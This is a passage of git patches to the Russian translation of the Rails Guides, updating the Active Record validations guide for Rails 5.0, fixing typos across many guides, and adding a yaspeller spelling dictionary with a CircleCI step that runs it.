подтвердить, что некоторый текст прочтен, или другой подобной концепции. + +Эта валидация очень специфична для веб приложений, и ее принятие не нужно записывать куда-либо в базу данных. Если у вас нет поля для него, хелпер всего лишь создаст виртуальный атрибут. Если поле существует в базе данных, опция `accept` должна быть установлена в `true`, а иначе эта валидация не будет выполнена. ```ruby class Person < ActiveRecord::Base @@ -182,7 +200,7 @@ class Person < ActiveRecord::Base end ``` -Для этого хелпера сообщение об ошибке по умолчанию следующее _"must be accepted"_. +Эта проверка выполнится, только если `terms_of_service` не `nil`. Для этого хелпера сообщение об ошибке по умолчанию следующее _"must be accepted"_. Он может получать опцию `:accept`, которая определяет значение, которое должно считаться принятым. По умолчанию это "1", но его можно изменить. @@ -235,6 +253,14 @@ class Person < ActiveRecord::Base end ``` +Также имеется опция `:case_sensitive`, которую используют, чтобы определить, должно ли ограничение подтверждения быть чувствительной к регистру. Эта опция по умолчанию true. (Rails 5.0) + +```ruby +class Person < ActiveRecord::Base + validates :email, confirmation: { case_sensitive: false } +end +``` + По умолчанию сообщение об ошибке для этого хелпера такое _"doesn't match confirmation"_. ### `exclusion` @@ -332,7 +358,7 @@ end Если установить `:only_integer` в `true`, тогда будет использоваться регулярное выражение ```ruby -/\A[+-]?\d+\Z/ +/\A[+-]?\d+\z/ ``` для проведения валидации значения атрибута. В противном случае, он будет пытаться конвертировать значение в число, используя `Float`. @@ -356,6 +382,8 @@ end * `:odd` - определяет, что значение должно быть нечетным, если установлено true. По умолчанию сообщение об ошибке для этой опции такое _"must be odd"_. * `:even` - определяет, что значение должно быть четным, если установлено true. По умолчанию сообщение об ошибке для этой опции такое _"must be even"_. +NOTE: По умолчанию `numericality` не допускает значения `nil`. Чтобы их разрешить, можно использовать опцию `allow_nil: true`. + По умолчанию сообщение об ошибке _"is not a number"_. ### `presence` @@ -390,7 +418,6 @@ end Так как `false.blank?` это true, если хотите провести валидацию существования булева поля, нужно использовать одну из следующих валидаций: ```ruby -validates :boolean_field_name, presence: true validates :boolean_field_name, inclusion: { in: [true, false] } validates :boolean_field_name, exclusion: { in: [nil] } ``` @@ -432,7 +459,7 @@ end ### `uniqueness` -Этот хелпер проводит валидацию того, что значение атрибута уникально, перед тем, как объект будет сохранен. Он не создает условие уникальности в базе данных, следовательно, может произойти так, что два разных подключения к базе данных создадут две записи с одинаковым значением для столбца, который вы подразумеваете уникальным. Чтобы этого избежать, нужно создать индекс unique на оба столбцах в вашей базе данных. Подробнее об индексах для нескольких столбцов смотрите [the MySQL manual](http://dev.mysql.com/doc/refman/5.6/en/multiple-column-indexes.html). +Этот хелпер проводит валидацию того, что значение атрибута уникально, перед тем, как объект будет сохранен. Он не создает условие уникальности в базе данных, следовательно, может произойти так, что два разных подключения к базе данных создадут две записи с одинаковым значением для столбца, который вы подразумеваете уникальным. Чтобы этого избежать, нужно создать индекс unique на оба столбцах в вашей базе данных. ```ruby class Account < ActiveRecord::Base @@ -442,7 +469,7 @@ end Валидация производится путем SQL запроса в таблицу модели, поиска существующей записи с тем же значением атрибута. -Имеется опция `:scope`, которую можно использовать для определения других атрибутов, используемых для ограничения проверки уникальности: +Имеется опция `:scope`, которую можно использовать для определения одного и более атрибутов, используемых для ограничения проверки уникальности: ```ruby class Holiday < ActiveRecord::Base @@ -451,6 +478,8 @@ class Holiday < ActiveRecord::Base end ``` +Если хотите создать ограничение на уровне базы данных. чтобы предотвратить возможные нарушения валидации уникальности с помощью опции `:scope`, вы должны создать индекс уникальности на обоих столбцах вашей базы данных. Подробнее об индексах для нескольких столбцов смотрите [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html), или примеры ограничений уникальности, относящихся к группе столбцов в [the PostgreSQL manual](http://www.postgresql.org/docs/current/static/ddl-constraints.html). + Также имеется опция `:case_sensitive`, которой можно определить, будет ли ограничение уникальности чувствительно к регистру или нет. Опция по умолчанию равна true. ```ruby @@ -658,7 +687,7 @@ end ### Группировка условных валидаций -Иногда полезно иметь несколько валидаций с одним условием, это легко достигается с использованием `with_options`. +Иногда полезно иметь несколько валидаций с одним условием. Это легко достигается с использованием `with_options`. ```ruby class User < ActiveRecord::Base @@ -692,7 +721,7 @@ end ### Собственные валидаторы -Собственные валидаторы это классы, расширяющие `ActiveModel::Validator`. Эти классы должны реализовать метод `validate`, принимающий запись как аргумент и выполняющий валидацию на ней. Собственный валидатор вызывается с использованием метода `validates_with`. +Собственные валидаторы это классы, наследуемые от `ActiveModel::Validator`. Эти классы должны реализовать метод `validate`, принимающий запись как аргумент и выполняющий валидацию на ней. Собственный валидатор вызывается с использованием метода `validates_with`. ```ruby class MyValidator < ActiveModel::Validator @@ -729,7 +758,7 @@ end ### Собственные методы -Также возможно создать методы, проверяющие состояние ваших моделей и добавляющие сообщения в коллекцию `errors`, когда они невалидны. Затем эти методы следует зарегистрировать, используя метод класса `validate`, передав символьные имена валидационных методов. +Также возможно создать методы, проверяющие состояние ваших моделей и добавляющие сообщения в коллекцию `errors`, когда они невалидны. Затем эти методы следует зарегистрировать, используя метод класса `validate` ([API](http://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate)), передав символьные имена валидационных методов. Можно передать более одного символа для каждого метода класса, и соответствующие валидации будут запущены в том порядке, в котором они зарегистрированы. @@ -764,7 +793,7 @@ end ``` (working-with-validation-errors) Работаем с ошибками валидации ------------------------------ +-------------------------------------------------------------- В дополнение к методам `valid?` и `invalid?`, раскрытым ранее, Rails предоставляет ряд методов для работы с коллекцией `errors` и исследования валидности объектов. @@ -814,7 +843,9 @@ person.errors[:name] ### `errors.add` -Метод `add` позволяет вручную добавлять сообщения, которые относятся к определенным атрибутам. Можно использовать методы `errors.full_messages` или `errors.to_a` для просмотра сообщения в форме, в которой они отображаются пользователю. Эти определенные сообщения получают предшествующим (и с прописной буквы) имя атрибута. `add` получает имя атрибута, к которому вы хотите добавить сообщение, и само сообщение. +Метод `add` позволяет добавлять сообщение об ошибке, относящейся к определенным атрибуту. Он принимает в качестве аргументов атрибут и сообщение об ошибке. + +Метод `errors.full_messages` (или его эквивалент `errors.to_a`) возвращает сообщения об ошибках в дружелюбном формате с именем атрибута с прописной буквы, предшествующим каждому сообщению, как показано в следующем примере. ```ruby class Person < ActiveRecord::Base @@ -832,12 +863,12 @@ person.errors.full_messages # => ["Name cannot contain the characters !@#%*()_-+="] ``` -Другой способ использования заключается в установлении `[]=` +Эквивалентом `errors#add` является использование `<<` для добавления сообщения к массиву `errors.messages` атрибута: ```ruby class Person < ActiveRecord::Base def a_method_used_for_validation_purposes - errors[:name] = "cannot contain the characters !@#%*()_-+=" + errors.messages[:name] << "cannot contain the characters !@#%*()_-+=" end end @@ -850,6 +881,40 @@ person.errors.full_messages # => ["Name cannot contain the characters !@#%*()_-+="] ``` +### `errors.details` (Rails 5.0) + +Можно указать тип валидатора в возвращаемом хэше подробностей об ошибке с помощью метода `errors.add`. + +```ruby +class Person < ActiveRecord::Base + def a_method_used_for_validation_purposes + errors.add(:name, :invalid_characters) + end +end + +person = Person.create(name: "!@#") + +person.errors.details[:name] +# => [{error: :invalid_characters}] +``` + +Чтобы улучшить подробности об ошибке, добавив, к примеру, недозволенные символы, можно передать дополнительные ключи в `errors.add`. + +```ruby +class Person < ActiveRecord::Base + def a_method_used_for_validation_purposes + errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=") + end +end + +person = Person.create(name: "!@#") + +person.errors.details[:name] +# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}] +``` + +Все встроенные в Rails валидаторы заполняют хэш details соответствующим типом валидатора. + ### `errors[:base]` Можете добавлять сообщения об ошибках, которые относятся к состоянию объекта в целом, а не к отдельному атрибуту. Этот метод можно использовать, если вы хотите сказать, что объект невалиден, независимо от значений его атрибутов. Поскольку `errors[:base]` массив, можете просто добавить строку к нему, и она будет использована как сообщение об ошибке. diff --git a/source/index.yml b/source/index.yml index 617ac475..f534d2a0 100644 --- a/source/index.yml +++ b/source/index.yml @@ -33,8 +33,8 @@ pages: - title: Валидации Active Record path: active-record-validations file: active_record_validations.md - revision: 9887a2cfe52f30d4a91e0d16fe57ecf96537b98c - date: 04/11/2014 + revision: 29886d93048a4719872e228894559b477f87a278 + date: 15/09/2015 - title: Колбэки Active Record path: active-record-callbacks From dc865073e81670621558c7e6edd5195ef8effcc4 Mon Sep 17 00:00:00 2001 From: Alexey Markov Date: Sun, 4 Oct 2015 22:30:44 +0300 Subject: [PATCH 115/932] Fix punctuations for validation guide --- source/active_record_validations.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/source/active_record_validations.md b/source/active_record_validations.md index f82840c7..1e03d53a 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -165,7 +165,7 @@ end ### `errors.details` (Rails 5.0) -Чтобы проверить, какая валидация упала на невалидном атрибуте, можно исплоьзовать `errors.details[:attribute]`. Он возвращает массив хэшей с ключем `:error`, чтобы получить символ валидатора: +Чтобы проверить, какая валидация упала на невалидном атрибуте, можно использовать `errors.details[:attribute]`. Он возвращает массив хэшей с ключем `:error`, чтобы получить символ валидатора: ```ruby class Person < ActiveRecord::Base @@ -253,7 +253,7 @@ class Person < ActiveRecord::Base end ``` -Также имеется опция `:case_sensitive`, которую используют, чтобы определить, должно ли ограничение подтверждения быть чувствительной к регистру. Эта опция по умолчанию true. (Rails 5.0) +Также имеется опция `:case_sensitive`, которую используют, чтобы определить, должно ли ограничение подтверждения быть чувствительным к регистру. Эта опция по умолчанию true. (Rails 5.0) ```ruby class Person < ActiveRecord::Base @@ -478,7 +478,7 @@ class Holiday < ActiveRecord::Base end ``` -Если хотите создать ограничение на уровне базы данных. чтобы предотвратить возможные нарушения валидации уникальности с помощью опции `:scope`, вы должны создать индекс уникальности на обоих столбцах вашей базы данных. Подробнее об индексах для нескольких столбцов смотрите [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html), или примеры ограничений уникальности, относящихся к группе столбцов в [the PostgreSQL manual](http://www.postgresql.org/docs/current/static/ddl-constraints.html). +Если хотите создать ограничение на уровне базы данных, чтобы предотвратить возможные нарушения валидации уникальности с помощью опции `:scope`, вы должны создать индекс уникальности на обоих столбцах вашей базы данных. Подробнее об индексах для нескольких столбцов смотрите [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html), или примеры ограничений уникальности, относящихся к группе столбцов в [the PostgreSQL manual](http://www.postgresql.org/docs/current/static/ddl-constraints.html). Также имеется опция `:case_sensitive`, которой можно определить, будет ли ограничение уникальности чувствительно к регистру или нет. Опция по умолчанию равна true. @@ -843,7 +843,7 @@ person.errors[:name] ### `errors.add` -Метод `add` позволяет добавлять сообщение об ошибке, относящейся к определенным атрибуту. Он принимает в качестве аргументов атрибут и сообщение об ошибке. +Метод `add` позволяет добавлять сообщение об ошибке, относящейся к определенному атрибуту. Он принимает в качестве аргументов атрибут и сообщение об ошибке. Метод `errors.full_messages` (или его эквивалент `errors.to_a`) возвращает сообщения об ошибках в дружелюбном формате с именем атрибута с прописной буквы, предшествующим каждому сообщению, как показано в следующем примере. From cea934af27586c7e9634660f73b5b66fd37bf0a2 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Sat, 5 Sep 2015 00:34:16 +0400 Subject: [PATCH 116/932] Added yandex speller, fixes typos and create dictionary --- .yaspellerrc | 223 ++++++++++++++++++ circle.yml | 5 + source/3_0_release_notes.md | 28 +-- source/3_1_release_notes.md | 6 +- source/3_2_release_notes.md | 10 +- source/4_0_release_notes.md | 18 +- source/4_1_release_notes.md | 30 +-- source/4_2_release_notes.md | 14 +- source/action_controller_overview.md | 20 +- source/action_mailer_basics.md | 14 +- source/action_view_overview.md | 18 +- source/active_job_basics.md | 2 +- source/active_model_basics.md | 4 +- source/active_record_basics.md | 8 +- source/active_record_callbacks.md | 6 +- source/active_record_migrations.md | 16 +- source/active_record_querying.md | 24 +- source/active_record_validations.md | 6 +- source/active_support_core_extensions.md | 40 ++-- source/active_support_instrumentation.md | 6 +- source/api_documentation_guidelines.md | 12 +- source/asset_pipeline.md | 41 +--- source/association_basics.md | 34 +-- source/autoloading_and_reloading_constants.md | 20 +- source/caching_with_rails.md | 12 +- source/command_line.md | 4 +- source/configuring.md | 14 +- source/contributing_to_ruby_on_rails.md | 46 ++-- source/debugging_rails_applications.md | 8 +- source/development_dependencies_install.md | 2 +- source/engines.md | 20 +- source/form_helpers.md | 12 +- source/generators.md | 8 +- source/getting_started.md | 30 +-- source/i18n.md | 16 +- source/index.md | 4 +- source/initialization.md | 8 +- source/layouts_and_rendering.md | 6 +- source/rails_on_rack.md | 6 +- source/routing.md | 36 +-- source/ruby_on_rails_guides_guidelines.md | 6 +- source/security.md | 36 +-- source/testing.md | 20 +- source/upgrading_ruby_on_rails.md | 38 +-- 44 files changed, 570 insertions(+), 367 deletions(-) create mode 100644 .yaspellerrc create mode 100644 circle.yml diff --git a/.yaspellerrc b/.yaspellerrc new file mode 100644 index 00000000..bcc2adf3 --- /dev/null +++ b/.yaspellerrc @@ -0,0 +1,223 @@ +{ + "excludeFiles": [ + ".git", + "tmp", + "log", + "vendor", + "config", + "node_modules" + ], + "lang": "ru", + "fileExtensions": [ + ".md" + ], + "dictionary": [ + "автозагружаем(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "автозагружен(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "админк(а|е|и|у|ах|ами|)", + "акцессор(а|е|и|у|ах|ов|ом|ами|)", + "ами", + "ассет(а|е|у|ы|ах|ов|ом|ами|)", + "баг(а|е|и|у|ах|ов|ом|ами|)", + "багфикс(а|е|у|ы|ах|ов|ом|ами|)", + "билдер(а|е|у|ы|ах|ов|ом|ами|)", + "биллинг(а|е|и|у|ах|ов|ом|ами|)", + "бинстаб(а|е|у|ы|ах|ов|ом|ами|)", + "бд", + "БД", + "брутфорс(а|е|у|ы|ах|ов|ом|ами|)", + "брутфорс(и|я)т(ь|ся|ься|)", + "булев(о|ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "бэкграунд(а|е|у|ы|ах|ов|ом|ами|)", + "бэктрейс(а|е|у|ы|ах|ов|ом|ами|)", + "бэкенд(а|е|у|ы|ах|ов|ом|ами|)", + "валидационн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "валидир(ует|уют|уете|овать)(ся|)", + "верхнеуровнев(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "вьюх(а|е|и|у|ах|ами|)", + "воркер(а|е|у|ы|ах|ов|ом|ами|)", + "гендер(но|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "геокодер(а|е|у|ы|ах|ов|ом|ами|)", + "геолокаци(и|ю|я|ей)", + "гитхаб(а|е|ом|)", + "дампер(а|е|у|ы|ах|ов|ом|ами|)", + "дамп(и|я)т(ь|ся|ься|)", + "дедлок(а|е|и|у|ах|ов|ом|ами|)", + "демодулизир(ует|уют|уете|овать)(ся|)", + "демодулизирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "десериализатор(а|е|у|ы|ах|ов|ом|ами|)", + "десериализаци(и|ю|я|ей)", + "десериализ(ует|уют|уете|овать)(ся|)", + "десериализован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "десктопн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "детерминирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "дефолтн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "депло(е|и|й|ю|ев|ем|ям|ях|ями|)", + "депло(и|я)т(ь|ся|ься|)", + "дифф(а|е|у|ы|ах|ов|ом|ами|)", + "задепло(и|я)т(ь|ся|ься|)", + "закомментир(ует|уют|уете|овать)(ся|)", + "закомментирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "закоммичен(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "закэшир(ует|уют|уете|овать)(ся|)", + "закэширован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "залогинен(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "инвалидаци(и|ю|я|ей)", + "инвалидир(ует|уют|уете|овать)(ся|)", + "инлайн", + "инстанс", + "интранет(а|е|у|ы|ах|ов|ом|ами|)", + "кастомн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "кликджекинг", + "колбэк(а|е|и|у|ах|ов|ом|ами|)", + "комментир(ует|уют|уете|овать)(ся|)", + "комментирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "коммит(а|е|у|ы|ах|ов|ом|ами|)", + "компилир(ует|уют|уете|овать)(ся|)", + "компилирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "компилятор(а|е|у|ы|ах|ов|ом|ами|)", + "компиляци(и|ю|я|ей)", + "контрибьютор(а|е|у|ы|ах|ов|ом|ами|)", + "конфиг(а|е|и|у|ах|ов|ом|ами|)", + "криптографическ(и|ая|ей|ие|ий|им|их|ия|ему|ими)", + "кроссдоменн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "кроссайтов(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "кук(и|ах|ами)", + "кэшир(ует|уют|уете|овать)(ся|)", + "кэширован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "логгер(а|е|и|у|ах|ов|ом|ами|)", + "логировани(и|е|ю|я|ем)", + "логир(ует|уют|уете|овать)(ся|)", + "локал(и|ь|ей|ью|ям|ях|ями)", + "маршализаци(и|ю|я|ей)", + "масштабируемост(и|ь|ей|ью|ям|ях|ями)", + "межсайтов(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "метатег(а|е|и|у|ах|ов|ом|ами|)", + "мержит(ь|ся|ься|)", + "минимайзер(а|е|и|у|ах|ов|ом|ами|)", + "многобитн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "модулизир(ует|уют|уете|овать)(ся|)", + "модулизирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "монитор(и|я)т(ь|ся|ься|)", + "мультисервер(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "невалид(ен|на|но|ны|ная|ное|ные|ным|ный|ных|ного)", + "недекорирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "недублирующ(ая|ее|ей|ие|ий|им|их|ую|его)", + "незакрыти(е|ю|я|ем)", + "неизбыточ(ен|на|но|ны|ная|ное|ные|ным|ный|ных|ного)", + "неинтерактивност(и|ь|ью)", + "неинтерпретируем(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "нересурс(ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными)", + "несерверн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "нескалярн(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "неугадываем(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "обсервер(а|е|у|ы|ах|ов|ом|ами|)", + "обфускаци(и|ю|я|ей)", + "обфусцирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "озаглавливани(е|ю|я|ем)", + "отрисовывающ(ая|ий|ую)", + "отрефакторен(а|о|ы|ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми|)", + "отрендерен(а|ы|)", + "отрендер(и|я)т(ь|ся|ься|)", + "отрисовк(а|е|и|ах|ов|ом|ами|)", + "отрисован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "отрисовыва(ет|ть|ют|ете)(ся|)", + "парс(и|я)т(ь|ся|ься|)", + "парся", + "партиал(а|е|у|ы|ах|ов|ом|ами|)", + "перевызван(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "перевызыва(ет|ть|ют)(ся|)", + "переоткрыва(ет|ть|ют)(ся|)", + "плейсхолдер(а|е|у|ы|ах|ов|ом|ами|)", + "плюрализаци(и|ю|я|ей)", + "поддомен(а|е|у|ы|ах|ов|ом|ами|)", + "подклассов(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "подмаршрут(а|е|у|ы|ах|ов|ом|ами|)", + "подмассив(а|е|у|ы|ах|ов|ом|ами|)", + "подшаблон(а|е|у|ы|ах|ов|ом|ами|)", + "портировани(е|ю|я|ем)", + "потоковост(и|ь|ью|ям|ях|ями)", + "пофикшен(ы|а|)", + "по-умолчанию", + "превью", + "предзагружен(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "предзаполнен(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "преднастроен(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "предпросмотр(а|е|у|ы|ах|ов|ом|ами|)", + "прекомпилятор(а|е|у|ы|ах|ов|ом|ами|)", + "прекомпиляци(и|ю|я|ей)", + "прекомпилир(ует|уют|уете|овать)(ся|)", + "прекомпилирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "прелоадер(а|е|у|ы|ах|ов|ом|ами|)", + "проксирующ(ая|ее|ие|ий|их|ую|его)", + "проксир(((ует|уют|уете|овать)(ся|))|(ован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)))", + "райтер(а|е|у|ы|ах|ов|ом|ами|)", + "распарс(и|я)т(ь|ся|ься|)", + "рассыльщик(а|е|и|ах|ов|ом|ами|)", + "раскомментируй(те|)", + "ревьювер(а|е|у|ы|ах|ов|ом|ами|)", + "рейк", + "реквест(а|е|у|ы|ах|ов|ом|ами|)", + "рендер(а|е|у|ы|ах|ов|ом|ами|)", + "рендеринг(а|е|у|ом|)", + "рендер(и|я)т(ь|ся|ься|)", + "рендерящ(ая|ей|ие|ий|им|их|ия|ему|ими)(ся|)", + "рефакторинг(а|е|у|ом|)", + "роут(а|е|у|ы|ах|ов|ом|ами|)", + "роутинг(а|е|у|ом|)", + "рубиш(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными)", + "самокодиров(ка|ке|ок|кой)", + "санитайзер(а|е|у|ы|ах|ов|ом|ами|)", + "селект(а|е|у|ы|ах|ов|ом|ами|)", + "сериализатор(а|е|у|ы|ах|ов|ом|ами|)", + "сериализаци(и|ю|я|ей)", + "сериализ(ует|уют|уете|овать)(ся|)", + "сериализован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "синглтон(а|е|у|ы|ах|ов|ом|ами|)", + "скаффолд(а|е|у|ах|ом|)", + "сквош(а|е|и|ах|ов|ом|ами|)", + "сконвертирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "скоуп(а|е|у|ы|ах|ов|ом|ами|)", + "скрабер(а|е|у|ы|ах|ов|ом|ами|)", + "скринкаст(а|е|у|ы|ах|ов|ом|ами|)", + "скриптинг(а|е|у|ы|ах|ов|ом|ами|)", + "скриптов(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "слэш(а|е|у|ы|ах|ов|ом|ами|)", + "смаршрутизирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "смаршрутизир(ует|уют|уете|овать)(ся|)", + "смержит(ь|ся|ься|)", + "спарсив", + "стаб(а|е|у|ы|ах|ов|ом|ами|)", + "стэк(а|е|у|ы|ах|ов|ом|ами|)", + "субкласс(а|е|у|ы|ах|ов|ом|ами|)", + "суффикс(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными)", + "таск(а|е|у|ы|ах|ов|ом|ами|)", + "тикет(а|е|у|ы|ах|ов|ом|ами|)", + "токен(а|е|у|ы|ах|ов|ом|ами|)", + "тредобезопас(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|ности|ность)", + "тредов(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "трейс(а|е|у|ы|ах|ов|ом|ами|)", + "унаслед(ует|уют|уете|овать)(ся|)", + "унаследован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "файервол(а|е|у|ы|ах|ов|ом|ами|)", + "файлопровод(а|е|у|ы|ах|ов|ом|ами|)", + "фикстур(а|е|у|ы|ах|ов|ом|ами|)", + "фич(а|е|у|ы|ах|ов|ом|ами|)", + "фишинг(а|е|у|ы|ах|ов|ом|ами|)", + "фишингов(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", + "фолбэк(а|е|и|у|ах|ов|ом|ами|)", + "форк(а|е|и|у|ах|ов|ом|ами|)", + "фреймворк(а|е|и|у|ах|ов|ом|ами|)", + "фрейминг(а|е|и|у|ах|ов|ом|ами|)", + "фронтенд(а|е|и|у|ах|ов|ом|ами|)", + "хак(а|е|у|ы|ах|ов|ом|ами|)", + "хэширован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "хэлпер(а|е|у|ы|ах|ов|ом|ами|)", + "чекбокс(а|е|у|ы|ах|ов|ом|ами|)", + "черри", + "экшн(а|е|у|ы|ах|ов|ом|ами|)", + "экранизатор(а|е|у|ы|ах|ов|ом|ами|)", + "URL(а|е|у|ы|ах|ов|ом|ами|)" + ], + "ignoreCapitalization": true +} diff --git a/circle.yml b/circle.yml new file mode 100644 index 00000000..43cea6b8 --- /dev/null +++ b/circle.yml @@ -0,0 +1,5 @@ +dependencies: + cache_directories: + - node_modules + pre: + - npm install yaspeller && node ./node_modules/.bin/yaspeller . diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index a083eef1..a5e1bd41 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -15,7 +15,7 @@ Rails 3.0 это волшебство! Он приготовит вам ужин Помимо всего этого, мы попытались как можно лучше указать об устаревании прежнего API с помощью хороших предупреждений. Это означает, что можно перенести ваше существующее приложение на Rails 3 без необходимости немедленного переписывания всего вашего старого кода в соответствии с последними best practices. -Эти заметки о релизе покрывают основные обновления, но не включают все мелкие багфиксы и изменения. Rails 3.0 содержит почти 4,000 комитов от более чем 250 авторов! Чтобы увидеть все, обратитесь к [списку комитов](http://github.com/rails/rails/commits/3-0-stable) в главном репозитории Rails на GitHub. +Эти заметки о релизе покрывают основные обновления, но не включают все мелкие багфиксы и изменения. Rails 3.0 содержит почти 4,000 коммитов от более чем 250 авторов! Чтобы увидеть все, обратитесь к [списку коммитов](http://github.com/rails/rails/commits/3-0-stable) в главном репозитории Rails на GitHub. -------------------------------------------------------------------------------- @@ -45,7 +45,7 @@ TIP: Отметьте, что в Ruby 1.8.7 p248 и p249 имеются ошиб ### script/* заменен на script/rails -Новый `script/rails` заменяет все ранее использовавшиеся скрипты из директории `script`. Впрочем, сейчас не нужно запусать даже `script/rails`, команда `rails` обнаруживает его при вызове из корня приложения Rails и запускает этот скрипт. Пример изменившегося использования: +Новый `script/rails` заменяет все ранее использовавшиеся скрипты из директории `script`. Впрочем, сейчас не нужно запускать даже `script/rails`, команда `rails` обнаруживает его при вызове из корня приложения Rails и запускает этот скрипт. Пример изменившегося использования: ```bash $ rails console # вместо script/console @@ -138,7 +138,7 @@ Railties был обновлен, чтобы предоставить совме ### Извлечение Mail -В Action Mailer с самого начала были monkey патчи, пре-парсеры и даже агенты для отправки и получения, все в добавок к встроенному в исходик TMail. Версия 3 изменила все это, так что весь функционал, связанный с сообщениями email был выделен в гем [Mail](http://github.com/mikel/mail). Это, опять же, уменьшило повторение кода и помогло определить границы между Action Mailer и парсером email. +В Action Mailer с самого начала были monkey патчи, пре-парсеры и даже агенты для отправки и получения, все вдобавок к встроенному в исходник TMail. Версия 3 изменила все это, так что весь функционал, связанный с сообщениями email был выделен в гем [Mail](http://github.com/mikel/mail). Это, опять же, уменьшило повторение кода и помогло определить границы между Action Mailer и парсером email. Подробнее: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3) @@ -177,10 +177,10 @@ Railties Также несколько переделаны вьюхи, создаваемые генераторами Railties: * Сейчас вьюхи используют теги `div` вместо тегов `p`. -* Сейчас сгенерированные скафолды используют партиалы `_form`, вместо повторения кода во вьюхах edit и new. +* Сейчас сгенерированные скаффолды используют партиалы `_form`, вместо повторения кода во вьюхах edit и new. * Сейчас формы скаффолда используют `f.submit`, возвращающий "Create ModelName" или "Update ModelName", в зависимости от состояния переданного объекта. -Наконец, ряд улучшений был добавлен в рейк-таски: +Наконец, ряд улучшений был добавлен в rake-таски: * Был добавлен `rake db:forward`, позволяющий откатить ваши миграции с возвратом отдельно или в группах. * Был добавлен `rake routes CONTROLLER=x`, позволяющий просмотреть маршруты только к одному контроллеру. @@ -206,7 +206,7 @@ Action Pack ### Abstract Controller -В Abstract Controller были извлечены части общего назначения из Action Controller в виде модуля, годного в использовнии любой библиотекой, используемой для рендеринга шаблонов или партиалов, хелперов, переводов, логирования и любой части цикла отклика на запрос. Теперь эта абстракция позволяет `ActionMailer::Base` быть унаследованным от `AbstractController` и всего лишь оборачивать Rails DSL в гем Mail. +В Abstract Controller были извлечены части общего назначения из 